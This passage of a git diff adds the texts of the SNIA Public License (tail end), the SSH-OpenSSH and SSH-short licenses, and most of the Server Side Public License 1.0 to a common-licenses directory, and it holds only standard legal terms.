+5. Application of this License. This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+6.1 New Versions. The Storage Networking Industry Association (the "SNIA") may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+6.2 Effect of New Versions. Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by the SNIA. No one other than the SNIA has the right to modify the terms applicable to Covered Code created under this License.
+
+6.3 Derivative Works. If You create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), You must (a) rename Your license so that the phrases "Storage Networking Industry Association," "SNIA," or any confusingly similar phrase do not appear in your license (except to note that your license differs from this License) and (b) otherwise make it clear that Your version of the license contains terms which differ from the SNIA Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY. COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+8.1 This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within a reasonable time after becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+8.2 If You initiate litigation by asserting a patent infringement claim (excluding declaratory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that: o (a) such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+
+8.3 If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+8.4 In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS. The Covered Code is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS. As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+13. MULTIPLE-LICENSED CODE. Initial Developer may designate portions of the Covered Code as "Multiple-Licensed". "Multiple-Licensed" means that the Initial Developer permits you to utilize portions of the Covered Code under Your choice of this License or the alternative licenses, if any, specified by the Initial Developer in the file described in Exhibit A.
+
+14. ACCEPTANCE. This License is accepted by You if You retain, use, or distribute the Covered Code for any purpose.
+
+EXHIBIT A The SNIA Public License.
+
+The contents of this file are subject to the SNIA Public License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
+
+www.snia.org/smi/developers/cim/
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code is .
+
+The Initial Developer of the Original Code is [COMPLETE THIS] .
+
+Contributor(s): ______________________________________.
+
+Read more about this license at http://www.snia.org/smi/developers/open_source/
diff --git a/meta/files/common-licenses/SSH-OpenSSH b/meta/files/common-licenses/SSH-OpenSSH
new file mode 100644
index 0000000000..35a5c8c829
--- /dev/null
+++ b/meta/files/common-licenses/SSH-OpenSSH
@@ -0,0 +1,67 @@
+* Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
+* All rights reserved
+*
+* As far as I am concerned, the code I have written for this software
+* can be used freely for any purpose. Any derived versions of this
+* software must be clearly marked as such, and if the derived work is
+* incompatible with the protocol description in the RFC file, it must be
+* called by a name other than "ssh" or "Secure Shell".
+
+[Tatu continues]
+* However, I am not implying to give any licenses to any patents or
+* copyrights held by third parties, and the software includes parts that
+* are not under my direct control. As far as I know, all included
+* source code is used in accordance with the relevant license agreements
+* and can be used freely for any purpose (the GNU license being the most
+* restrictive); see below for details.
+
+[However, none of that term is relevant at this point in time. All of
+these restrictively licenced software components which he talks about
+have been removed from OpenSSH, i.e.,
+
+- RSA is no longer included, found in the OpenSSL library
+- IDEA is no longer included, its use is deprecated
+- DES is now external, in the OpenSSL library
+- GMP is no longer used, and instead we call BN code from OpenSSL
+- Zlib is now external, in a library
+- The make-ssh-known-hosts script is no longer included
+- TSS has been removed
+- MD5 is now external, in the OpenSSL library
+- RC4 support has been replaced with ARC4 support from OpenSSL
+- Blowfish is now external, in the OpenSSL library
+
+[The licence continues]
+
+Note that any information and cryptographic algorithms used in this
+software are publicly available on the Internet and at any major
+bookstore, scientific library, and patent office worldwide. More
+information can be found e.g. at "http://www.cs.hut.fi/crypto".
+
+The legal status of this program is some combination of all these
+permissions and restrictions. Use only at your own responsibility.
+You will be responsible for any legal consequences yourself; I am not
+making any claims whether possessing or using this is legal or not in
+your country, and I am not taking any responsibility on your behalf.
+
+
+ NO WARRANTY
+
+BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/SSH-short b/meta/files/common-licenses/SSH-short
new file mode 100644
index 0000000000..bf6f8a0e62
--- /dev/null
+++ b/meta/files/common-licenses/SSH-short
@@ -0,0 +1,5 @@
+As far as I am concerned, the code I have written for this software
+can be used freely for any purpose. Any derived versions of this
+software must be clearly marked as such, and if the derived work is
+incompatible with the protocol description in the RFC file, it must be
+called by a name other than "ssh" or "Secure Shell".
diff --git a/meta/files/common-licenses/SSPL-1.0 b/meta/files/common-licenses/SSPL-1.0
new file mode 100644
index 0000000000..ed242d9a09
--- /dev/null
+++ b/meta/files/common-licenses/SSPL-1.0
@@ -0,0 +1,557 @@
+ Server Side Public License
+ VERSION 1, OCTOBER 16, 2018
+
+ Copyright © 2018 MongoDB, Inc.
+
+ Everyone is permitted to copy and distribute verbatim copies of this
+ license document, but changing it is not allowed.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ “This License” refers to Server Side Public License.
+
+ “Copyright” also means copyright-like laws that apply to other kinds of
+ works, such as semiconductor masks.
+
+ “The Program” refers to any copyrightable work licensed under this
+ License. Each licensee is addressed as “you”. “Licensees” and
+ “recipients” may be individuals or organizations.
+
+ To “modify” a work means to copy from or adapt all or part of the work in
+ a fashion requiring copyright permission, other than the making of an
+ exact copy. The resulting work is called a “modified version” of the
+ earlier work or a work “based on” the earlier work.
+
+ A “covered work” means either the unmodified Program or a work based on
+ the Program.
+
+ To “propagate” a work means to do anything with it that, without
+ permission, would make you directly or secondarily liable for
+ infringement under applicable copyright law, except executing it on a
+ computer or modifying a private copy. Propagation includes copying,
+ distribution (with or without modification), making available to the
+ public, and in some countries other activities as well.
+
+ To “convey” a work means any kind of propagation that enables other
+ parties to make or receive copies. Mere interaction with a user through a
+ computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays “Appropriate Legal Notices” to the
+ extent that it includes a convenient and prominently visible feature that
+ (1) displays an appropriate copyright notice, and (2) tells the user that
+ there is no warranty for the work (except to the extent that warranties
+ are provided), that licensees may convey the work under this License, and
+ how to view a copy of this License. If the interface presents a list of
+ user commands or options, such as a menu, a prominent item in the list
+ meets this criterion.
+
+ 1. Source Code.
+
+ The “source code” for a work means the preferred form of the work for
+ making modifications to it. “Object code” means any non-source form of a
+ work.
+
+ A “Standard Interface” means an interface that either is an official
+ standard defined by a recognized standards body, or, in the case of
+ interfaces specified for a particular programming language, one that is
+ widely used among developers working in that language. The “System
+ Libraries” of an executable work include anything, other than the work as
+ a whole, that (a) is included in the normal form of packaging a Major
+ Component, but which is not part of that Major Component, and (b) serves
+ only to enable use of the work with that Major Component, or to implement
+ a Standard Interface for which an implementation is available to the
+ public in source code form. A “Major Component”, in this context, means a
+ major essential component (kernel, window system, and so on) of the
+ specific operating system (if any) on which the executable work runs, or
+ a compiler used to produce the work, or an object code interpreter used
+ to run it.
+
+ The “Corresponding Source” for a work in object code form means all the
+ source code needed to generate, install, and (for an executable work) run
+ the object code and to modify the work, including scripts to control
+ those activities. However, it does not include the work's System
+ Libraries, or general-purpose tools or generally available free programs
+ which are used unmodified in performing those activities but which are
+ not part of the work. For example, Corresponding Source includes
+ interface definition files associated with source files for the work, and
+ the source code for shared libraries and dynamically linked subprograms
+ that the work is specifically designed to require, such as by intimate
+ data communication or control flow between those subprograms and other
+ parts of the work.
+
+ The Corresponding Source need not include anything that users can
+ regenerate automatically from other parts of the Corresponding Source.
+
+ The Corresponding Source for a work in source code form is that same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+ copyright on the Program, and are irrevocable provided the stated
+ conditions are met. This License explicitly affirms your unlimited
+ permission to run the unmodified Program, subject to section 13. The
+ output from running a covered work is covered by this License only if the
+ output, given its content, constitutes a covered work. This License
+ acknowledges your rights of fair use or other equivalent, as provided by
+ copyright law. Subject to section 13, you may make, run and propagate
+ covered works that you do not convey, without conditions so long as your
+ license otherwise remains in force. You may convey covered works to
+ others for the sole purpose of having them make modifications exclusively
+ for you, or provide you with facilities for running those works, provided
+ that you comply with the terms of this License in conveying all
+ material for which you do not control copyright. Those thus making or
+ running the covered works for you must do so exclusively on your
+ behalf, under your direction and control, on terms that prohibit them
+ from making any copies of your copyrighted material outside their
+ relationship with you.
+
+ Conveying under any other circumstances is permitted solely under the
+ conditions stated below. Sublicensing is not allowed; section 10 makes it
+ unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+ measure under any applicable law fulfilling obligations under article 11
+ of the WIPO copyright treaty adopted on 20 December 1996, or similar laws
+ prohibiting or restricting circumvention of such measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+ circumvention of technological measures to the extent such circumvention is
+ effected by exercising rights under this License with respect to the
+ covered work, and you disclaim any intention to limit operation or
+ modification of the work as a means of enforcing, against the work's users,
+ your or third parties' legal rights to forbid circumvention of
+ technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+ receive it, in any medium, provided that you conspicuously and
+ appropriately publish on each copy an appropriate copyright notice; keep
+ intact all notices stating that this License and any non-permissive terms
+ added in accord with section 7 apply to the code; keep intact all notices
+ of the absence of any warranty; and give all recipients a copy of this
+ License along with the Program. You may charge any price or no price for
+ each copy that you convey, and you may offer support or warranty
+ protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+ produce it from the Program, in the form of source code under the terms
+ of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified it,
+ and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is released
+ under this License and any conditions added under section 7. This
+ requirement modifies the requirement in section 4 to “keep intact all
+ notices”.
+
+ c) You must license the entire work, as a whole, under this License to
+ anyone who comes into possession of a copy. This License will therefore
+ apply, along with any applicable section 7 additional terms, to the
+ whole of the work, and all its parts, regardless of how they are
+ packaged. This License gives no permission to license the work in any
+ other way, but it does not invalidate such permission if you have
+ separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your work
+ need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+ works, which are not by their nature extensions of the covered work, and
+ which are not combined with it such as to form a larger program, in or on
+ a volume of a storage or distribution medium, is called an “aggregate” if
+ the compilation and its resulting copyright are not used to limit the
+ access or legal rights of the compilation's users beyond what the
+ individual works permit. Inclusion of a covered work in an aggregate does
+ not cause this License to apply to the other parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms of
+ sections 4 and 5, provided that you also convey the machine-readable
+ Corresponding Source under the terms of this License, in one of these
+ ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium customarily
+ used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a written
+ offer, valid for at least three years and valid for as long as you
+ offer spare parts or customer support for that product model, to give
+ anyone who possesses the object code either (1) a copy of the
+ Corresponding Source for all the software in the product that is
+ covered by this License, on a durable physical medium customarily used
+ for software interchange, for a price no more than your reasonable cost
+ of physically performing this conveying of source, or (2) access to
+ copy the Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This alternative is
+ allowed only occasionally and noncommercially, and only if you received
+ the object code with such an offer, in accord with subsection 6b.
+
+ d) Convey the object code by offering access from a designated place
+ (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to copy
+ the object code is a network server, the Corresponding Source may be on
+ a different server (operated by you or a third party) that supports
+ equivalent copying facilities, provided you maintain clear directions
+ next to the object code saying where to find the Corresponding Source.
+ Regardless of what server hosts the Corresponding Source, you remain
+ obligated to ensure that it is available for as long as needed to
+ satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided you
+ inform other peers where the object code and Corresponding Source of
+ the work are being offered to the general public at no charge under
+ subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+ from the Corresponding Source as a System Library, need not be included
+ in conveying the object code work.
+
+ A “User Product” is either (1) a “consumer product”, which means any
+ tangible personal property which is normally used for personal, family,
+ or household purposes, or (2) anything designed or sold for incorporation
+ into a dwelling. In determining whether a product is a consumer product,
+ doubtful cases shall be resolved in favor of coverage. For a particular
+ product received by a particular user, “normally used” refers to a
+ typical or common use of that class of product, regardless of the status
+ of the particular user or of the way in which the particular user
+ actually uses, or expects or is expected to use, the product. A product
+ is a consumer product regardless of whether the product has substantial
+ commercial, industrial or non-consumer uses, unless such uses represent
+ the only significant mode of use of the product.
+
+ “Installation Information” for a User Product means any methods,
+ procedures, authorization keys, or other information required to install
+ and execute modified versions of a covered work in that User Product from
+ a modified version of its Corresponding Source. The information must
+ suffice to ensure that the continued functioning of the modified object
+ code is in no case prevented or interfered with solely because
+ modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+ specifically for use in, a User Product, and the conveying occurs as part
+ of a transaction in which the right of possession and use of the User
+ Product is transferred to the recipient in perpetuity or for a fixed term
+ (regardless of how the transaction is characterized), the Corresponding
+ Source conveyed under this section must be accompanied by the
+ Installation Information. But this requirement does not apply if neither
+ you nor any third party retains the ability to install modified object
+ code on the User Product (for example, the work has been installed in
+ ROM).
+
+ The requirement to provide Installation Information does not include a
+ requirement to continue to provide support service, warranty, or updates
+ for a work that has been modified or installed by the recipient, or for
+ the User Product in which it has been modified or installed. Access
+ to a network may be denied when the modification itself materially
+ and adversely affects the operation of the network or violates the
+ rules and protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided, in
+ accord with this section must be in a format that is publicly documented
+ (and with an implementation available to the public in source code form),
+ and must require no special password or key for unpacking, reading or
+ copying.
+
+ 7. Additional Terms.
+
+ “Additional permissions” are terms that supplement the terms of this
+ License by making exceptions from one or more of its conditions.
+ Additional permissions that are applicable to the entire Program shall be
+ treated as though they were included in this License, to the extent that
+ they are valid under applicable law. If additional permissions apply only
+ to part of the Program, that part may be used separately under those
+ permissions, but the entire Program remains governed by this License
+ without regard to the additional permissions. When you convey a copy of
+ a covered work, you may at your option remove any additional permissions
+ from that copy, or from any part of it. (Additional permissions may be
+ written to require their own removal in certain cases when you modify the
+ work.) You may place additional permissions on material, added by you to
+ a covered work, for which you have or can give appropriate copyright
+ permission.
+
+ Notwithstanding any other provision of this License, for material you add
+ to a covered work, you may (if authorized by the copyright holders of
+ that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some trade
+ names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that material
+ by anyone who conveys the material (or modified versions of it) with
+ contractual assumptions of liability to the recipient, for any
+ liability that these contractual assumptions directly impose on those
+ licensors and authors.
+
+ All other non-permissive additional terms are considered “further
+ restrictions” within the meaning of section 10. If the Program as you
+ received it, or any part of it, contains a notice stating that it is
+ governed by this License along with a term that is a further restriction,
+ you may remove that term. If a license document contains a further
+ restriction but permits relicensing or conveying under this License, you
+ may add to a covered work material governed by the terms of that license
+ document, provided that the further restriction does not survive such
+ relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you must
+ place, in the relevant source files, a statement of the additional terms
+ that apply to those files, or a notice indicating where to find the
+ applicable terms. Additional terms, permissive or non-permissive, may be
+ stated in the form of a separately written license, or stated as
+ exceptions; the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+ provided under this License. Any attempt otherwise to propagate or modify
+ it is void, and will automatically terminate your rights under this
+ License (including any patent licenses granted under the third paragraph
+ of section 11).
+
+ However, if you cease all violation of this License, then your license
+ from a particular copyright holder is reinstated (a) provisionally,
+ unless and until the copyright holder explicitly and finally terminates
+ your license, and (b) permanently, if the copyright holder fails to
+ notify you of the violation by some reasonable means prior to 60 days
+ after the cessation.
+
+ Moreover, your license from a particular copyright holder is reinstated
+ permanently if the copyright holder notifies you of the violation by some
+ reasonable means, this is the first time you have received notice of
+ violation of this License (for any work) from that copyright holder, and
+ you cure the violation prior to 30 days after your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+ licenses of parties who have received copies or rights from you under
+ this License. If your rights have been terminated and not permanently
+ reinstated, you do not qualify to receive new licenses for the same
+ material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or run a
+ copy of the Program. Ancillary propagation of a covered work occurring
+ solely as a consequence of using peer-to-peer transmission to receive a
+ copy likewise does not require acceptance. However, nothing other than
+ this License grants you permission to propagate or modify any covered
+ work. These actions infringe copyright if you do not accept this License.
+ Therefore, by modifying or propagating a covered work, you indicate your
+ acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically receives
+ a license from the original licensors, to run, modify and propagate that
+ work, subject to this License. You are not responsible for enforcing
+ compliance by third parties with this License.
+
+ An “entity transaction” is a transaction transferring control of an
+ organization, or substantially all assets of one, or subdividing an
+ organization, or merging organizations. If propagation of a covered work
+ results from an entity transaction, each party to that transaction who
+ receives a copy of the work also receives whatever licenses to the work
+ the party's predecessor in interest had or could give under the previous
+ paragraph, plus a right to possession of the Corresponding Source of the
+ work from the predecessor in interest, if the predecessor has it or can
+ get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the rights
+ granted or affirmed under this License. For example, you may not impose a
+ license fee, royalty, or other charge for exercise of rights granted
+ under this License, and you may not initiate litigation (including a
+ cross-claim or counterclaim in a lawsuit) alleging that any patent claim
+ is infringed by making, using, selling, offering for sale, or importing
+ the Program or any portion of it.
+
+ 11. Patents.
+
+ A “contributor” is a copyright holder who authorizes use under this
+ License of the Program or a work on which the Program is based. The work
+ thus licensed is called the contributor's “contributor version”.
+
+ A contributor's “essential patent claims” are all patent claims owned or
+ controlled by the contributor, whether already acquired or hereafter
+ acquired, that would be infringed by some manner, permitted by this
+ License, of making, using, or selling its contributor version, but do not
+ include claims that would be infringed only as a consequence of further
+ modification of the contributor version. For purposes of this definition,
+ “control” includes the right to grant patent sublicenses in a manner
+ consistent with the requirements of this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+ patent license under the contributor's essential patent claims, to make,
+ use, sell, offer for sale, import and otherwise run, modify and propagate
+ the contents of its contributor version.
+
+ In the following three paragraphs, a “patent license” is any express
+ agreement or commitment, however denominated, not to enforce a patent
+ (such as an express permission to practice a patent or covenant not to
+ sue for patent infringement). To “grant” such a patent license to a party
+ means to make such an agreement or commitment not to enforce a patent
+ against the party.
+
+ If you convey a covered work, knowingly relying on a patent license, and
+ the Corresponding Source of the work is not available for anyone to copy,
+ free of charge and under the terms of this License, through a publicly
+ available network server or other readily accessible means, then you must
+ either (1) cause the Corresponding Source to be so available, or (2)
+ arrange to deprive yourself of the benefit of the patent license for this
+ particular work, or (3) arrange, in a manner consistent with the
+ requirements of this License, to extend the patent license to downstream
+ recipients. “Knowingly relying” means you have actual knowledge that, but
+ for the patent license, your conveying the covered work in a country, or
+ your recipient's use of the covered work in a country, would infringe
+ one or more identifiable patents in that country that you have reason
+ to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+ arrangement, you convey, or propagate by procuring conveyance of, a
+ covered work, and grant a patent license to some of the parties receiving
+ the covered work authorizing them to use, propagate, modify or convey a
+ specific copy of the covered work, then the patent license you grant is
+ automatically extended to all recipients of the covered work and works
+ based on it.
+
+ A patent license is “discriminatory” if it does not include within the
+ scope of its coverage, prohibits the exercise of, or is conditioned on
+ the non-exercise of one or more of the rights that are specifically
+ granted under this License. You may not convey a covered work if you are
+ a party to an arrangement with a third party that is in the business of
+ distributing software, under which you make payment to the third party
+ based on the extent of your activity of conveying the work, and under
+ which the third party grants, to any of the parties who would receive the
+ covered work from you, a discriminatory patent license (a) in connection
+ with copies of the covered work conveyed by you (or copies made from
+ those copies), or (b) primarily for and in connection with specific
+ products or compilations that contain the covered work, unless you
+ entered into that arrangement, or that patent license was granted, prior
+ to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting any
+ implied license or other defenses to infringement that may otherwise be
+ available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+ otherwise) that contradict the conditions of this License, they do not
+ excuse you from the conditions of this License. If you cannot use,
+ propagate or convey a covered work so as to satisfy simultaneously your
+ obligations under this License and any other pertinent obligations, then
+ as a consequence you may not use, propagate or convey it at all. For
+ example, if you agree to terms that obligate you to collect a royalty for
+ further conveying from those to whom you convey the Program, the only way
+ you could satisfy both those terms and this License would be to refrain
+ entirely from conveying the Program.
+
+ 13. Offering the Program as a Service.
+
+ If you make the functionality of the Program or a modified version
+ available to third parties as a service, you must make the Service Source
+ Code available via network download to everyone at no charge, under the
+ terms of this License. Making the functionality of the Program or
+ modified version available to third parties as a service includes,
+ without limitation, enabling third parties to interact with the
+ functionality of the Program or modified version remotely through a
+ computer network, offering a service the value of which entirely or
+ primarily derives from the value of the Program or modified version, or
+ offering a service that accomplishes for users the primary purpose of the
+ Program or modified version.
+
+ “Service Source Code” means the Corresponding Source for the Program or
+ the modified version, and the Corresponding Source for all programs that
+ you use to make the Program or modified version available as a service,
+ including, without limitation, management software, user interfaces,
+ application program interfaces, automation software, monitoring software,
+ backup software, storage software and hosting software, all such that a
+ user could run an instance of the service using the Service Source Code
+ you make available.
+
+ 14. Revised Versions of this License.
+
+ MongoDB, Inc. may publish revised and/or new versions of the Server Side
+ Public License from time to time. Such new versions will be similar in
+ spirit to the present version, but may differ in detail to address new
+ problems or concerns.
+
+ Each version is given a distinguishing version number. If the Program
+ specifies that a certain numbered version of the Server Side Public
+ License “or any later version” applies to it, you have the option of
+ following the terms and conditions either of that numbered version or of
+ any later version published by MongoDB, Inc. If the Program does not
+ specify a version number of the Server Side Public License, you may
+ choose any version ever published by MongoDB, Inc.
+
+ If the Program specifies that a proxy can decide which future versions of
+ the Server Side Public License can be used, that proxy's public statement
+ of acceptance of a version permanently authorizes you to choose that
+ version for the Program.
+
+ Later license versions may give you additional or different permissions.
+ However, no additional obligations are imposed on any author or copyright holder
+ as a result of your choosing to follow a later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+ APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS
+ AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY
+ OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+ IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
